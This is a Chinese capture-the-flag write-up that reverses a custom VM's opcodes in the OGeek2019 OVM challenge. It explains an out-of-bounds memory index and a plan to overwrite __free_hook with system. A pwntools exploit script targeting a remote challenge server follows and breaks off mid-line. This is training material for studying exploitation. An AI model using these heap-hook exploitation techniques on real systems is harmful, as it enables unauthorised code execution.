VM pwn入门

VM pwn貌似是最近火起来的一类PWN题。最近打的好几场比赛都出现了VM pwn的题目,正好在BUU上面遇到一道2019年的OGeek中出现的VM pwn题,感觉应该会比较简单,另外听说高校战役里的EasyVM也是偏简单的VM pwn题。本文就主要对这两道题目进行分析。

[OGeek2019 Final]OVM

程序分析

在这里插入图片描述
作为VM pwn的第一步就是需要搞清楚指令的格式,操作码和操作数
本题使用的是定长指令,一共32bits,每一个占8bits,但除了操作码能利用完8bits之外,寄存器只占4bits,所以只有16个寄存器,格式如下

操作码 | 目的寄存器编号 | 操作数2寄存器编号 | 操作数1寄存器编号

每个操作码的功能如下:

dst = (a1&0xf0000)>>16
dst = reg[dst]
op2 = (a1&0xf00)>>8
op2 = reg[ope2]
op1 = a1&0xf
op1 = reg[op1]

0x10:
dst = a1&0xff

0x20:
dst = ((a1&0xff)==0)

0x30:
dst = memory[op1]

0x40:
memory[op1] = dst

0x50:
tmp = reg[13]
reg[13]++
stack[tmp] = dst

0x60:
reg[13]--
dst = stack[reg[13]]

0x70:
dst = op1 + op2

0x80:
dst =  op2 - op1

0x90:
dst =  op1 & op2

0xA0:
dst =  op1 | op2

0xB0:
dst = op1 ^ op2

0xC0:
dst =  op2 << op1

0xD0:
dst =  op2 >> op1

0xE0:
running=0
if !reg[13]exit
show all reg

对指令的逆向是一个很费时间的过程,但这是必不可少的,一定要耐心分析每一个操作码的功能
接下来就是分析程序中的漏洞了,可以看到memory并没有对下标大小进行检测,这就有一个数组越界漏洞
在这里插入图片描述

而memory位于0x202060偏移处,在0x202040处正好就有一个指向堆的指针,并且程序结束时允许我们输入0x8c个bytes,如果我们能把这个指针改了,不就能进行一次任意内存写了吗?
而位于0x201FF8偏移处有_IO_2_1_stderr_的地址,该地址+0x10A8即为_free_hook

利用思路

有了上面的分析,我们的利用思路就很清晰了

  1. 利用数组越界获取stderr的地址到reg[2]和reg[3]
  2. 利用0x10(赋值)和0xC0(左移)操作构造出0x10A0
  3. 利用0x70(add)功能让reg中的stderr地址增加0x10A0
  4. 再次利用数组越界把增加之后的地址写到$rebase(0x202040),即comment[0]的位置
  5. 退出运行,先利用泄露的寄存器的值计算libc,然后输入’/bin/sh’+p64(system)即可

Exp

from pwn import *

r = remote("node3.buuoj.cn", 29381)
#r = process("./OGeek2019_Final_OVM")

context(log_level = 'debug', arch = 'amd64', os = 'linux')
DEBUG = 0
if DEBUG:
	gdb.attach(r, 
	'''	
	b *$rebase(0xCFE)
	x/10gx $rebase(0x242060)
	c
	''')

elf = ELF("./OGeek2019_Final_OVM")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
success("malloc:"+hex(libc.sym['malloc']))
success("system:"+hex(libc.sym['system']))
success("free_hook:"+hex(libc.sym['__free_hook']))


def code_generate(code, dst, op1, op2):
	res = code<<24
	res += dst<<16
	res += op1<<8
	res += op2
	return res

r.recvuntil("PC: ")
r.sendline('0')
r.recvuntil("SP: ")
r.sendline('1')
r.recvuntil("CODE SIZE: ")
r.sendline('24')
r.recvuntil("CODE: ")
r.sendline(str(code_generate(0x10, 0
  • 4
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值